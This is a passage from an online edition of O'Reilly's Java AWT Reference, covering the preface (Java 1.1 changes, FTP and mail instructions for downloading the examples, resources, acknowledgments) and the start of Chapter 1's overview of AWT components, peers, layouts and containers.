Java 1.1 provides one new component, the PopupMenu, and one new container, the ScrollPane. Pop-up menus are a staple of modern user interfaces; providing them fixes a serious omission. ScrollPane makes it trivial to implement scrolling; in Java 1.0, you had to do scrolling "by hand." In Java 1.1, you also get menu shortcuts (i.e., the ability to select menu items using the keyboard), another standard feature of modern user interfaces.

Java 1.1 also introduces a LightweightPeer, which means that it is possible to create "lightweight components." To do so, you subclass Component or Container directly; this wasn't possible in earlier releases. For simple operations, lightweight components are much more efficient than full-fledged components.

Clipboards

Java 1.1 lets you read from and write to the system clipboard and create private clipboards for use by your programs. The clipboard facility is a down payment on a larger data transfer facility, which will support drag and drop. (No promises about when drag and drop will appear.)

Printing

Java 1.1 gives components the ability to print.

The rest

There are many other new features, including more flexible use of cursors; the ability to use system color schemes, and thus make your program look like other software in the run-time environment; more image filters to play with; and the ability to prescale an image.

Deprecated Methods and JavaBeans

One of the biggest changes in Java 1.1 doesn't concern the feature set at all. This was the addition of many new methods that differ from a method of Java 1.0 in name only. There are hundreds of these, particularly in AWT. The new method names show an important future direction for the AWT package (in fact, all of Java). The new names obey the naming conventions used by JavaBeans, which means that all AWT classes are potentially Beans. These conventions make it possible for an application builder to analyze what a component does based on its public methods. For example, the method setFont() changes the value of the component's Font property. In turn, this means that you will eventually be able to build user interfaces and, in some cases, entire applications, inside some other tool, without writing any Java code at all. An application builder will be able to find out what it needs to know about any component by looking at the component itself, and letting you customize the component and its interactions with others.

Comments in the JDK source code indicate that the older method names have been "deprecated," which means that you should consider the old names obsolete and avoid using them; they could disappear in a future release.

Reworking AWT to comply with JavaBeans is both necessary and inevitable. Furthermore, it's a good idea to get into the habit of following the same conventions for your own code; the advantages of JavaBeans are much greater than the inconvenience of changing your coding style.

Other Changes in Java

Other new features are scattered throughout the rest of the Java classes, most notably, improvements in the networking and I/O packages and support for internationalization. Some new features were added to the language itself, of which the most important is "inner classes." For the most part, I don't discuss these changes; in fact, I stay away from them and base non-AWT code on the 1.0.2. release. Though these changes are important, covering the new material in AWT is enough for one book. If I used a new feature at this point, I would feel that I owed you an explanation, and this book is already long enough. A future edition will update the code so that it doesn't rely on any older features.

Home | Next
Book Index | What This Book Covers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] What This Book Covers

Previous Preface Next

What This Book Covers

The Java AWT Reference is the definitive resource for programmers working with AWT. It covers all aspects of the AWT package, in versions 1.0.2 and 1.1. If there are any changes to AWT after 1.1 (at least two patch releases are expected), we will integrate them as soon as possible. Watch the book's Web site http://www.ora.com/catalog/javawt/ for details on changes.

Specifically, this book completely covers the following packages:

java.awt (1.0 and 1.1)
java.awt.image (1.0 and 1.1)
java.awt.event (new to 1.1)
java.awt.datatransfer (new to 1.1)
java.awt.peer (1.0 and 1.1)
java.applet (1.0 and 1.1)

The book also covers some aspects of the sun.awt package (some interesting and useful layout managers) and the sun.audio package (some more flexible ways of working with audio files). It also gives a brief overview of the behind-the-scenes machinery for rendering images, much of which is in the sun.awt.image package.

Organization

The Java AWT Reference is divided into two large parts. The first part is a thorough guide to using AWT. Although this guide is organized by class, it was designed to flow logically, rather than alphabetically. I know that few people read a book like this from beginning to end, but if you want to, it's possible. With a few exceptions, you should be able to read the early chapters without knowing the material that's covered in the later chapters. You'll want to read this section to find out how any chunk of the AWT package works in detail.

The second part is a set of documentation pages typical of what you find in most reference sets. It is organized alphabetically by package, and within each package, alphabetically by class. It is designed to answer questions like "What are the arguments to the FilteredImageSource constructor?" The reference section provides brief summaries, rather than detailed discussions and examples. When you use a typical reference book, you're usually trying to look up some detail, rather than learn how something works from scratch.

In other words, this book provides two views of AWT: terse summaries designed to help you when you need to look something up quickly, and much more detailed explanations designed to help you understand how to use AWT to the fullest. In doing so, it goes well beyond the standard reference manual. A reference manual alone gives you a great view of hundreds of individual trees; this book gives you the trees, but also gives you the forest that allows you to put the individual pieces in context. There are dozens of complete examples, together with background information, overview material, and other information that doesn't fit into the standard reference manual format.

Previous | Home | Next
New Features of AWT in Java 1.1 | Book Index | About the Source Code
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] About the Source Code

Previous Preface Next

About the Source Code

The source code for the programs presented in this book is available online. See http://www.ora.com/catalog/javawt/ for downloading instructions.

Obtaining the Example Programs

The example programs in this book are available electronically in a number of ways: by FTP, Ftpmail, BITFTP, and UUCP. The cheapest, fastest, and easiest ways are listed first. If you read from the top down, the first one that works for you is probably the best. Use FTP if you are directly on the Internet. Use Ftpmail if you are not on the Internet but can send and receive electronic mail to Internet sites (this includes CompuServe users). Use BITFTP if you send electronic mail via BITNET. Use UUCP if none of the above works.

FTP

To use FTP, you need a machine with direct access to the Internet. A sample session is shown, with what you should type in boldface.

% ftp ftp.ora.com
Connected to ftp.ora.com.
220 FTP server (Version 6.21 Tue Mar 10 22:09:55 EST 1992) ready.
Name (ftp.ora.com:yourname): anonymous
331 Guest login ok, send domain style e-mail address as password.
Password: yourname@yourhost.com (use your user name and host here)
230 Guest login ok, access restrictions apply.
ftp> cd /published/oreilly/java/awt
250 CWD command successful.
ftp> binary (Very important! You must specify binary transfer for compressed files.)
200 Type set to I.
ftp> get examples.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for examples.tar.gz.
226 Transfer complete.
ftp> quit
221 Goodbye.
%

The file is a compressed tar archive; extract the files from the archive by typing:

% zcat examples.tar.gz | tar xvf -

System V systems require the following tar command instead:

% zcat examples.tar.gz | tar xof -

If zcat is not available on your system, use separate gunzip and tar commands.

% gunzip examples.tar.gz
% tar xvf examples.tar

Ftpmail

Ftpmail is a mail server available to anyone who can send electronic mail to, and receive it from, Internet sites. This includes any company or service provider that allows email connections to the Internet. Here's how you do it.

You send mail to ftpmail@online.ora.com. (Be sure to address the message to ftpmail and not to ftp.) In the message body, give the FTP commands you want to run. The server will run anonymous FTP for you and mail the files back to you. To get a complete help file, send a message with no subject and the single word "help" in the body. The following is a sample mail session that should get you the examples. This command sends you a listing of the files in the selected directory and the requested example files. The listing is useful if there's a later version of the examples you're interested in.

% mail ftpmail@online.ora.com
Subject:
reply-to yourname@yourhost.com    Where you want files mailed
open
cd /published/oreilly/java/awt
dir
mode binary
uuencode
get examples.tar.gz
quit
.

A signature at the end of the message is acceptable as long as it appears after "quit."

BITFTP

BITFTP is a mail server for BITNET users. You send it electronic mail messages requesting files, and it sends you back the files by electronic mail. BITFTP currently serves only users who send it mail from nodes that are directly on BITNET, EARN, or NetNorth. BITFTP is a public service of Princeton University. Here's how it works.

To use BITFTP, send mail containing your FTP commands to BITFTP@PUCC. For a complete help file, send HELP as the message body.

The following is the message body you send to BITFTP:

FTP  ftp.uu.net  NETDATA
USER  anonymous
PASS  yourname@yourhost.edu Put your Internet email address here (not your BITNET address)
CD  /published/oreilly/java/awt
DIR
BINARY
GET  examples.tar.gz
QUIT

Once you've got the desired file, follow the directions under FTP to extract the files from the archive. Since you are probably not on a UNIX system, you may need to get versions of uudecode, uncompress, atob, and tar for your system. VMS, DOS, and Mac versions are available. The VMS versions are on gatekeeper.dec.com in /pub/VMS.

UUCP

UUCP is standard on virtually all UNIX systems and is available for IBM-compatible PCs and Apple Macintoshes. The examples are available by UUCP via modem from UUNET; UUNET's connect-time charges apply.

If you or your company has an account with UUNET, you have a system somewhere with a direct UUCP connection to UUNET. Find that system, and type:

uucp uunet\!~/published/oreilly/java/awt/examples.tar.gz yourhost\!~/yourname/

The backslashes can be omitted if you use the Bourne shell (sh) instead of csh. The file should appear some time later (up to a day or more) in the directory /usr/spool/uucppublic/yourname. If you don't have an account, but would like one so that you can get electronic mail, contact UUNET at 703-204-8000.

Once you've got the desired file, follow the directions under FTP to extract the files from the archive.

Previous | Home | Next
What This Book Covers | Book Index | Other Java Books and Resources
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Other Java Books and Resources

Previous Preface Next

Other Java Books and Resources

This book is part of a series of Java books from O'Reilly & Associates that covers everything you wanted to know, and then some. The Java AWT Reference is paired with the Java Fundamental Class Reference to document the entire Core Java API. Other books in the series provide an introduction (Exploring Java) and document the virtual machine ( Java Virtual Machine), the language ( Java Language Reference), multithreaded programming ( Java Threads), and network programming ( Java Network Programming), with more to come. Java in a Nutshell is another popular Java book in the Nutshell series from O'Reilly. For a complete up-to-date list of the available Java resources, refer to http://www.ora.com/info/java/.

In addition to the resources from O'Reilly, Sun's online documentation on Java is maintained at http://www.javasoft.com/nav/download/index.html. Information on specific Java-capable browsers can be found at their respective Web sites, which are listed in Table 0.1. More are sure to be on the way. (Some browsers are platform specific, while others are multi-platform.)

Table 0.1: Popular Web Browsers that Support Java
Browser | Location
Netscape Navigator | http://home.netscape.com/comprod/products/navigator/
Microsoft's Internet Explorer | http://www.microsoft.com/ie
Sun's HotJava | http://www.javasoft.com/HotJava/
Oracle's PowerBrowser | http://www.oracle.com/products/websystem/powerbrowser
Apple's Cyberdog | http://cyberdog.apple.com/

Newsgroups also serve as a discussion area for Java-related topics. The comp.lang.java group has formally split into several others. The new groups are:

comp.lang.java.advocacy | comp.lang.java.machine
comp.lang.java.announce | comp.lang.java.programmer
comp.lang.java.beans | comp.lang.java.security
comp.lang.java.databases | comp.lang.java.setup
comp.lang.java.gui | comp.lang.java.softwaretools
comp.lang.java.help | comp.lang.java.tech

For folks without time to dig through all the noise, Digital Espresso provides a periodic digest of the newsfeed at http://www.io.org./~mentor/DigitalEspresso.html. A list of Java FAQs is at http://www-net.com/java/faq/; one of the most interesting is Cafe Au Lait, at http://sunsite.unc.edu/javafaq/. (Cafe Au Lait is written by Elliotte Rusty Harold, author of Java Network Programming.)

Local Java user groups are another good resource. (Having founded one myself, I'm biased.) What they offer varies greatly, but unless you look at one, you are potentially leaving out a vast resource for knowledge and experience. Lists of area user groups are available from JavaSoft at http://www.javasoft.com/Mail/usrgrp.html; also check out the Sun User Group's Special Interest Group for Users of Java at http://www.sug.org/Java/groups.html. In addition to the usual monthly meetings and forums, some maintain a mailing list for technical exchanges.

Security is a major issue with Java. If you are interested in reading more about Java security issues, Princeton University's Safe Internet Programming Web site at http://www.cs.princeton.edu/sip/News.html is an excellent resource.

Previous | Home | Next
About the Source Code | Book Index | About Java
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] About Java

Previous Preface Next

About Java

Java is one of 13,000 islands that makes up Indonesia, whose capital is Jakarta (see Figure 0.1). It is home to about 120 million people with an area about 50,000 square miles. While on the island, you can hear traditional music such as gamelan or angklung. The island also has a dangerous volcano named Merapi, which makes up part of the Pacific "Ring of Fire." In 1891, fossils from Pithecanthropus erectus, better known as "Java man" (homo javanensis) were discovered on the island by Eugene Dubois.

Figure 0.1: Map of Java, Indonesia

[Graphic: Figure 0-1]

Java's main export is a coffee that is considered spicy and full bodied, with a strong, slightly acidic flavor. O'Reilly has shown good taste in staying away from the pervasive coffee theme in its book titles and cover designs. (However, if you're ever in Sebastopol, check out the coffee at AromaRoasters in Santa Rosa.)

Previous | Home | Next
Other Java Books and Resources | Book Index | Conventions Used in This Book
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Conventions Used in This Book

Previous Preface Next

Conventions Used in This Book

Italic is used for:

  • Pathnames, filenames, and program names

  • Internet addresses, such as domain names and URLs

Typewriter Font is used for:

  • Anything that might appear in a Java program, including keywords, method names, variables names, class names, and interface names

  • Command lines and options that should be typed verbatim on the screen

  • Tags that might appear in an HTML document

To sort out the potential for confusion between different versions, I use the following dingbats throughout the book:

Identifies a method, variable, or constant that is new in Java 1.1.

Identifies a method from Java 1.0 that has been deprecated. Deprecated methods are available for compatibility but may disappear in a future release. These methods are tagged with the @deprecated flag, which causes the Java 1.1 compiler to display a warning message if you use them.

Previous | Home | Next
About Java | Book Index | Request for Comments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Request for Comments

Previous Preface Next

Request for Comments

We invite you to help us improve the book. If you have an idea that could make this a more useful resource, or if you find a bug in an example program or an error in the text, please let us know by sending email to bookquestions@ora.com.

As Java continues to evolve, we may find it necessary to issue errata for this book or to release updated examples or reference information. This information will be found at the book's Web site http://www.ora.com/catalog/javawt/.

Previous | Home | Next
Conventions Used in This Book | Book Index | Acknowledgments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Acknowledgments

Previous Preface Next

Acknowledgments

I am grateful to many people who helped me along while working on this book, especially my wife, Lisa, and her patience during this whole process. A special thanks goes to our Old English sheep dog, Sir Dudley Fuzzybuns McDuff for gladly sharing the house with me during the entire process. I am grateful to the people at Sun who helped me become involved with Java so early on: Pete Seymour, Anne Pettitt, Tom McGinn, and Jen Sullivan-Volpe. I am also grateful to my employers, Rapid Systems Solutions (when I started) and the MageLang Institute (when I finished), who let me work on the book. Another thanks goes out to Dale Carnegie Training and John Captain, whose human relations class helped me feel comfortable with public speaking, without which I would not have become immersed in Java so quickly.

Particular thanks are owed to the technical reviewers: Yadu Zambre, Andy Cohen, David Flanagan, Jen Sullivan-Volpe, and Dan Jacobs. All of them performed an invaluable service with their thorough reviews and helped spot my errors and omissions. It seemed everyone contributed many bits of text that eventually found their way into the final product.

Random thanks go out to the many people on the Internet who I never met but provided valuable information, from the newsgroups and mailing lists: Simon "FISH" Morris, Mike Gallant, Eric Link, and many others whose names I did not write down.

Bits and pieces of various figures were borrowed from David Flanagan's book, Java in a Nutshell, and Patrick Niemeyer's and Joshua Peck's book, Exploring Java. The class hierarchy diagrams come from David's book. These diagrams were based on similar diagrams by Charles L. Perkins. His original efforts are available at http://rendezvous.com/java/.

For the gang at O'Reilly who gave me the opportunity to write this work, I thank everyone who helped along the way. For series editor, Mike Loukides, thanks for all your time and effort, especially with the early drafts. Best of luck to Mike and Judy with their new bundle of joy, Alexandra. Special thanks to Jonathan Knudsen who updated the reference section for the new release. Thanks to Nancy Crumpton and John Files for book production and project management, and to Trina Jackson, Paula Ferguson, and Andy Oram who helped during the review stages. Thanks also to the O'Reilly Tools group, Ellen Siever, Erik Ray, and Lenny Muellner; to Seth Maislin, the indexer; and David Futato and Danny Marcus who handled the proofreading and QCs.

The final product is much better because of their help.

Previous | Home | Next
Request for Comments | Book Index | Abstract Window Toolkit Overview
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] Abstract Window Toolkit Overview

Previous Chapter 1 Next

1. Abstract Window Toolkit Overview

Contents:
Components
Peers
Layouts
Containers
And the Rest
Summary

For years, programmers have had to go through the hassles of porting software from BSD-based UNIX to System V Release 4-based UNIX, from OpenWindows to Motif, from PC to UNIX to Macintosh (or some combination thereof), and between various other alternatives, too numerous to mention. Getting an application to work was only part of the problem; you also had to port it to all the platforms you supported, which often took more time than the development effort itself. In the UNIX world, standards like POSIX and X made it easier to move applications between different UNIX platforms. But they only solved part of the problem and didn't provide any help with the PC world. Portability became even more important as the Internet grew. The goal was clear: wouldn't it be great if you could just move applications between different operating environments without worrying about the software breaking because of a different operating system, windowing environment, or internal data representation?

In the spring of 1995, Sun Microsystems announced Java, which claimed to solve this dilemma. What started out as a dancing penguin (or Star Trek communicator) named Duke on remote controls for interactive television has become a new paradigm for programming on the Internet. With Java, you can create a program on one platform and deliver the compilation output (byte-codes/class files) to every other supported environment without recompiling or worrying about the local windowing environment, word size, or byte order. The first generation of Java programs consisted mostly of fancy animation applets that ran in a web browser like Netscape Navigator, Internet Explorer, or HotJava. We're beginning to see the next generation now: powerful distributed applications in areas ranging from commerce to medical imaging to network management. All of these applications require extreme portability: Joe's Online Bait Shop doesn't have the time or energy to port its "Online Bait Buyer" program to every platform on the Internet but doesn't want to limit its market to a specific platform. Java neatly solves their problem.

Windowing systems present the biggest challenges for portability. When you move an application from Windows to the Macintosh, you may be able to salvage most of the computational guts, but you'll have to rewrite the window interface code completely. In Java, this part of the portability challenge is addressed by a package called AWT, which stands for Abstract Window Toolkit (although people have come up with many other expansions). AWT provides the magic of maintaining the local look and feel of the user's environment. Because of AWT, the same application program can look appropriate in any environment. For example, if your program uses a pull-down list, that list will look like a Windows list when you run the program under Windows; a Macintosh list when you run the program on a Mac; and a Motif list when you run the program on a UNIX system under Motif. The same code works on all platforms. In addition to providing a common set of user interface components, AWT provides facilities for manipulating images and generating graphics.

This book is a complete programmer's guide and reference to the java.awt package (including java.awt.image, java.awt.event, java.awt.datatransfer, and java.awt.peer). It assumes that you're already familiar with the Java language and class libraries. If you aren't, Exploring Java, by Pat Niemeyer and Josh Peck, provides a general introduction, and other books in the O'Reilly Java series provide detailed references and tutorials on specific topics. This chapter provides a quick overview of AWT: it introduces you to the various GUI elements contained within the java.awt package and gives you pointers to the chapters that provide more specific information about each component. If you're interested in some of the more advanced image manipulation capabilities, head right to Chapter 12, Image Processing. The book ends with a reference section that summarizes what you need to know about every class in AWT.

In using this book, you should be aware that it covers two versions of AWT: 1.0.2 and 1.1. The Java 1.1 JDK ( Java Developer's Kit) occurred in December 1996. This release includes many improvements and additions to AWT and is a major step forward in Java's overall functionality. It would be nice if I could say, "Forget about 1.0.2, it's obsolete--use this book to learn 1.1." However, I can't; at this point, since browsers (Netscape Navigator in particular) still incorporate 1.0.2, and we have no idea when they will incorporate the new release. As of publication, Navigator 4.0 is in beta test and incorporates 1.0.2. Therefore, Java release 1.0.2 will continue to be important, at least for the foreseeable future.

In this summary, we'll point out new features of Java 1.1 as they come up. However, one feature deserves mention and doesn't fit naturally into an overview. Many of the methods of Java 1.0.2 have been renamed in Java 1.1. The old names still work but are "deprecated." The new names adhere strictly to the design patterns discussed in the JavaBeans documentation:[1] all methods that retrieve the value of an object's property begin with "get," all methods that set the value of a property begin with "set," and all methods that test the value of some property begin with "is." For example, the size() method is now called getSize(). The Java 1.1 compiler issues warnings whenever you used a deprecated method name.

[1] http://splash.javasoft.com/beans/spec.html

1.1 Components

Modern user interfaces are built around the idea of "components": reusable gadgets that implement a specific part of the interface. They don't need much introduction: if you have used a computer since 1985 or so, you're already familiar with buttons, menus, windows, checkboxes, scrollbars, and many other similar items. AWT comes with a repertoire of basic user interface components, along with the machinery for creating your own components (often combinations of the basic components) and for communicating between components and the rest of the program.

The next few sections summarize the components that are part of AWT. If you're new to AWT, you may find it helpful to familiarize yourself with what's available before jumping into the more detailed discussions later in this book.

Static Text

The Label class provides a means to display a single line of text on the screen. That's about it. They provide visual aids to the user: for example, you might use a label to describe an input field. You have control over the size, font, and color of the text. Labels are discussed in Labels. Figure 1.1 displays several labels with different attributes.

Figure 1.1: Multiple Label instances

[Graphic: Figure 1-1]

User Input

Java provides several different ways for a user to provide input to an application. The user can type the information or select it from a preset list of available choices. The choice depends primarily on the desired functionality of the program, the user-base, and the amount of back-end processing that you want to do.

The TextField and TextArea classes

Two components are available for entering keyboard input: TextField for single line input and TextArea for multi-line input. They provide the means to do things from character-level data validation to complex text editing. These are discussed in much more detail in Chapter 8, Input Fields. Figure 1.2 shows a screen that contains various TextField and TextArea components.

Figure 1.2: TextField and TextArea elements

[Graphic: Figure 1-2]

The Checkbox and CheckboxGroup classes

The remaining input-oriented components provide mechanisms for letting the user select from a list of choices. The first such mechanism is Checkbox, which lets you select or deselect an option. The left side of the applet in Figure 1.3 shows a checkbox for a Dialog option. Clicking on the box selects the option and makes the box change appearance. A second click deselects the option.

The CheckboxGroup class is not a component; it provides a means for grouping checkboxes into a mutual exclusion set, often called a set of radio buttons. Selecting any button in the group automatically deselects the other buttons. This behavior is useful for a set of mutually exclusive choices. For example, the right side of the applet in Figure 1.3 shows a set of checkboxes for selecting a font. It makes sense to select only one font at a time, so these checkboxes have been put in a CheckboxGroup.

Figure 1.3: Examples of Checkbox and CheckboxGroup

[Graphic: Figure 1-3]

The appearance of a checkbox varies from platform to platform. On the left, Figure 1.3 shows Windows; the right shows Motif. On most platforms, the appearance also changes when a checkbox is put into a CheckboxGroup.

The Choice class

Checkbox and CheckboxGroup present a problem when the list of choices becomes long. Every element of a CheckboxGroup uses precious screen real estate, which limits the amount of space available for other components. The Choice class was designed to use screen space more efficiently. When a Choice element is displayed on the screen, it takes up the space of a single item in the list, along with some extra space for decorations. This leaves more space for other components. When the user selects a Choice component, it displays the available options next to or below the Choice. Once the user makes a selection, the choices are removed from the screen, and the Choice displays the selection. At any time, only one item in a Choice may be selected, so selecting an item implicitly deselects everything else. Choice explores the details of the Choice class. Figure 1.4 shows examples of open (on the right of the screens) and closed (on the left) Choice items in Windows 95 and Motif.

Figure 1.4: Open and closed Choice items

[Graphic: Figure 1-4]

The List class

Somewhere between Choice and CheckboxGroup in the screen real estate business is a component called List. With a List, the user is still able to select any item. However, the programmer recommends how many items to display on the screen at once. All additional choices are still available, but the user moves an attached scrollbar to access them. Unlike a Choice, a List allows the user to select multiple items. Section 9.2 covers the List component. Figure 1.5 shows List components in different states.

Figure 1.5: List components in different states

[Graphic: Figure 1-5]

Menus

Most modern user interfaces use menus heavily; therefore, it's no surprise that Java supports menus. As you'd expect, Java menus look like the menus in the windowing environment under which the program runs. Currently, menus can only appear within a Frame, although this will probably change in the future. A Menu is a fairly complex object, with lots of moving parts: menu bars, menu items, etc. Java 1.1 adds hot keys to menus, allowing users to navigate a menu interface using keyboard shortcuts. The details of Menu are explored in Chapter 10, Would You Like to Choose from the Menu? Figure 1.6 shows frames with open menus for both Windows and Motif. Since tear-off menus are available on Motif systems, its menus look and act a little differently. Figure 1.6 also includes a tear-off menu. The shortcuts (Ctrl+F8) are newly supported in Java 1.1.

Figure 1.6: Examples of menus

[Graphic: Figure 1-6]

The PopupMenu class

The PopupMenu class is new to Java 1.1. Pop-up menus can be used for context-sensitive, component-level menus. Associated with each Component can be its own pop-up menu. The details of creating and working with the PopupMenu class and the fun time you have catching their events are covered in Chapter 10, Would You Like to Choose from the Menu?, Would You Like to Choose from the Menu? Figure 1.7 shows an example of a pop-up menu.

Figure 1.7: A Pop-up menu

[Graphic: Figure 1-7]

Event Triggers

Java provides two components whose sole purpose is to trigger actions on the screen: Button and Scrollbar. They provide the means for users to signal that they are ready to perform an operation. (Note that all components except labels generate events; I'm singling out buttons and scrollbars because their only purpose is to generate events.)

The Scrollbar class

Most people are familiar with scrollbars. In a word processor or a web browser, when an image or document is too large to fit on the screen, the scrollbar allows the user to move to another area. With Java, the Scrollbar performs similarly. Selecting or moving the scrollbar triggers an event that allows the program to process the scrollbar movement and respond accordingly. The details of the Scrollbar are covered in Scrollbar. Figure 1.8 shows horizontal and vertical scrollbars.

Figure 1.8: Horizontal and vertical scrollbars

[Graphic: Figure 1-8]

Note that a scrollbar is just that. It generates events when the user adjusts it, but the program using the scrollbar is responsible for figuring out what to do with the events, such as displaying a different part of an image or the text, etc. Several of the components we've discussed, like TextArea and List, have built-in scrollbars, saving you the trouble of writing your own code to do the actual scrolling. Java 1.1 has a new container called a ScrollPane that has scrolling built in. By using a scroll pane, you should be able to avoid using scroll bars as a positioning mechanism. An example of ScrollPane appears later in this chapter.

The Button class

A button is little more than a label that you can click on. Selecting a button triggers an event telling the program to go to work. Buttons explores the Button component. Figure 1.9 shows Button examples.

Figure 1.9: Various buttons

[Graphic: Figure 1-9]

The Java Management API includes a fancier button (ImageButton) with pictures rather than labels. For the time being, this is a standard extension of Java and not in the Core API. If you don't want to use these extensions, you'll have to implement an image button yourself.

Expansion

The Canvas class

The Canvas class is just a blank area; it doesn't have any predefined appearance. You can use Canvas for drawing images, building new kinds of components, or creating super-components that are aggregates of other components. For example, you can build a picture button by drawing a picture on a Canvas and detecting mouse click events within the area of the Canvas. Canvas is discussed in Canvas.

Previous | Home | Next
Acknowledgments | Book Index | Peers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.2 Peers

Previous Chapter 1
Abstract Window Toolkit Overview 		Next

1.2 Peers

Java programs always have the look and feel of the platform they are running on. If you create your program on a UNIX platform and deliver it to Microsoft Windows users, your program will have Motif's look and feel while you're developing it, but users will see Microsoft Windows objects when they use it. Java accomplishes this through a peer architecture, shown in Figure 1.10.

Figure 1.10: Peer architecture

[Graphic: Figure 1-10]

There are several layers of software between your Java program and the actual screen. Let's say you are working with a scrollbar. On your screen, you see the scrollbar that's native to the platform you're using. This system-dependent scrollbar is the "peer" of the Java Scrollbar object. The peer scrollbar deals with events like mouse clicks first, passing along whatever it deems necessary to the corresponding Java component. The peer interface defines the relationship between each Java component and its peer; it is what allows a generic component (like a Scrollbar) to work with scrollbars on different platforms.

Peers are described in Chapter 15, Toolkit and Peers. However, you rarely need to worry about them; interaction between a Java program and a peer takes place behind the scenes. On occasion, you need to make sure that a component's peer exists in order to find out about platform-specific sizes. This process usually involves the addNotify() method.

Previous | Home | Next
Components | Book Index | Layouts
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.3 Layouts

Previous Chapter 1
Abstract Window Toolkit Overview 		Next

1.3 Layouts

Layouts allow you to format components on the screen in a platform-independent way. Without layouts, you would be forced to place components at explicit locations on the screen, creating obvious problems for programs that need to run on multiple platforms. There's no guarantee that a TextArea or a Scrollbar or any other component will be the same size on each platform; in fact, you can bet they won't be. In an effort to make your Java creations portable across multiple platforms, Sun created a LayoutManager interface that defines methods to reformat the screen based on the current layout and component sizes. Layout managers try to give programs a consistent and reasonable appearance, regardless of the platform, the screen size, or actions the user might take.

The standard JDK provides five classes that implement the LayoutManager interface. They are FlowLayout, GridLayout, BorderLayout, CardLayout, and GridBagLayout. All of these layouts are covered in much greater detail in Chapter 7, Layouts. This chapter also discusses how to create complex layouts by combining layout managers and how to write your own LayoutManager. The Java 1.1 JDK includes the LayoutManager2 interface. This interface extends the LayoutManager interface for managers that provide constraint-based layouts.

FlowLayout

The FlowLayout is the default layout for the Panel class, which includes its most famous subclass, Applet. When you add components to the screen, they flow left to right (centered within the applet) based upon the order added and the width of the applet. When there are too many components to fit, they "wrap" to a new row, similar to a word processor with word wrap enabled. If you resize an applet, the components' flow will change based upon the new width and height. Figure 1.11 shows an example both before and after resizing. FlowLayout contains all the FlowLayout details.

Figure 1.11: A FlowLayout before and after resizing

[Graphic: Figure 1-11]

GridLayout

The GridLayout is widely used for arranging components in rows and columns. As with FlowLayout, the order in which you add components is relevant. You start at row one, column one, move across the row until it's full, then continue on to the next row. However, unlike FlowLayout, the underlying components are resized to fill the row-column area, if possible. GridLayout can reposition or resize objects after adding or removing components. Whenever the area is resized, the components within it are resized. Figure 1.12 shows an example before and after resizing. GridLayout contains all the details about GridLayout.

Figure 1.12: A GridLayout before and after resizing

[Graphic: Figure 1-12]

BorderLayout

BorderLayout is one of the more unusual layouts provided. It is the default layout for Window, along with its children, Frame and Dialog. BorderLayout provides five areas to hold components. These areas are named after the four different borders of the screen, North, South, East, and West, with any remaining space going into the Center area. When you add a component to the layout, you must specify which area to place it in. The order in which components are added to the screen is not important, although you can have only one component in each area. Figure 1.13 shows a BorderLayout that has one button in each area, before and after resizing. BorderLayout covers the details of the BorderLayout.

Figure 1.13: A BorderLayout

[Graphic: Figure 1-13]

CardLayout

The CardLayout is a bit on the strange side. A CardLayout usually manages several components, displaying one of them at a time and hiding the rest. All the components are given the same size. Usually, the CardLayout manages a group of Panels (or some other container), and each Panel contains several components of its own. With a little work, you can use the CardLayout to create tabbed dialog boxes or property sheets, which are not currently part of AWT. CardLayout lets you assign names to the components it is managing and lets you jump to a component by name. You can also cycle through components in order. Figure 1.11, Figure 1.12, and Figure 1.13 show multiple cards controlled by a single CardLayout. Selecting the Choice button displays a different card. CardLayout discusses the details of CardLayout.

GridBagLayout

GridBagLayout is the most sophisticated and complex of the layouts provided in the development kit. With the GridBagLayout, you can organize components in multiple rows and columns, stretch specific rows or columns when space is available, and anchor objects in different corners. You provide all the details of each component through instances of the GridBagConstraints class. Figure 1.14 shows an example of a GridBagLayout. GridBagLayout and GridBagConstraints are discussed in GridBagLayout and GridBagConstraints.

Figure 1.14: A GridBagLayout

[Graphic: Figure 1-14]

Previous | Home | Next
Peers | Book Index | Containers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.4 Containers

Previous Chapter 1
Abstract Window Toolkit Overview 		Next

1.4 Containers

A Container is a type of component that provides a rectangular area within which other components can be organized by a LayoutManager. Because Container is a subclass of Component, a Container can go inside another Container, which can go inside another Container, and so on, like Russian nesting dolls. Subclassing Container allows you to encapsulate code for the components within it. This allows you to create reusable higher-level objects easily. Figure 1.15 shows the components in a layout built from several nested containers.

Figure 1.15: Components within containers

[Graphic: Figure 1-15]

Panels

A Panel is the basic building block of an applet. It provides a container with no special features. The default layout for a Panel is FlowLayout. The details of Panel are discussed in Panel. Figure 1.16 shows an applet that contains panels within panels within panels.

Figure 1.16: A multilevel panel

[Graphic: Figure 1-16]

Windows

A Window provides a top-level window on the screen, with no borders or menu bar. It provides a way to implement pop-up messages, among other things. The default layout for a Window is BorderLayout. Window explores the Window class in greater detail. Figure 1.17 shows a pop-up message using a Window in Microsoft Windows and Motif.

Figure 1.17: Pop-up windows

[Graphic: Figure 1-17]

Frames

A Frame is a Window with all the window manager's adornments (window title, borders, window minimize/maximize/close functionality) added. It may also include a menu bar. Since Frame subclasses Window, its default layout is BorderLayout. Frame provides the basic building block for screen-oriented applications. Frame allows you to change the mouse cursor, set an icon image, and have menus. All the details of Frame are discussed in Frames. Figure 1.18 shows an example Frame.

Figure 1.18: A frame

[Graphic: Figure 1-18]

Dialog and FileDialog

